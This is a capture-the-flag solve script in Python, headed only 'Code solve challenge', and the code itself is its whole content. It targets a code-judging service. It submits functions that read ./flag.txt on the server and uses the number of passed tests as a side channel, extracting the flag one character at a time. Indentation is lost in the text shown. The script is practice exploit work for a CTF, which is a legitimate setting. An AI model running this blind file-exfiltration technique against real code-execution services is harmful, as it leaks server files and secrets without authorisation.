Code solve challenge.

```
import requests

alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&?@^_}{~"
url = "https://yeetcode.be.ax/yeetyeet"

flag = ""
for location in range(0,40):
for character in alpha:
payload = """def f(a,b):
fz = open("./flag.txt","r").read()
if fz[{0}] == '{1}':
return a + b""".format(location,character)
r = requests.post(url,data=payload.encode('utf-8'),headers={'Content-type': 'text/plain; charset=utf-8'})
passed = (r.json())["p"]
if passed == 10:
flag += character
print (flag)
break
```